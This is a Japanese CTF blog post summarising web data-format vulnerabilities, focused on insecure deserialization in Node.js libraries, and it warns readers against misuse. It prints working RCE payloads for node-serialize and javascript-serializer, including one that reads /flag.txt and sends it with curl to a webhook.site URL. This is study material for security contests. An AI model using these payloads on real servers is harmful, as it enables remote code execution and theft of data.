はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるデータ形式まとめ(XML, Json, Insecure Deserialization, XXE)

この記事はCTFのWebセキュリティ Advent Calendar 2021の4日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

データ形式

  • Web上では様々なデータ形式が利用される。これらのデータ形式には固有の問題がいくつかあり、脆弱性を意識して利用する必要がある
  • インジェクション
    • どのようなデータ形式でもバリデーションとかサニタイズせずに入れると、構造を変化させて、想定外動作を引き起こす可能性がある
  • Insecure Deserialization
    • 入力されたシリアライズドデータをサーバ側で処理する過程、デシリアライズの段階で意図せぬ処理を引き起こさせること
    • RCEできたりする(RCEはWebサーバ上で自由にコマンド実行ができてしまうということ)

JSON

  • インジェクション/JSON Interoperability
  • Insecure Deserialization
    • nodejsのnode-serialize
      • ベースを作って、書き換えたい部分を即時実行関数式に変換する
      • CTFtime.org / Zh3r0 CTF V2 / sparta
        • {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) {console.log(stdout) }); }()"}
        • city=_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"output=$(cat /flag.txt);curl webhook.site/9d7268ea-42bd-48b3-9ede-0be524e773e1?out=$output\",function(error, stdout, stderr) { console.log(stdout)});}()
          • 実行して適当な所に送るやつ
        • {"username":{"toString":"_$$ND_FUNC$$_(()=>{throw require('child_process').execSync('cat /flag.txt')})()"}}
    • nodejsのjavascript-serializer
      • toStringを入れることで文字列として使用される場合に任意コマンド実行される
      • "evil": { "toString": { "___js-to-json-class___": "Function", "json": "console.log('hello!');return'res';" } }
  • JSONP
  • JWT → 別途
  • メモ
    • JSONで制御文字を入れ込むときはunicode表現にして入れる {"username": "admin\u0000"}

XML

他のInsecure Deserialization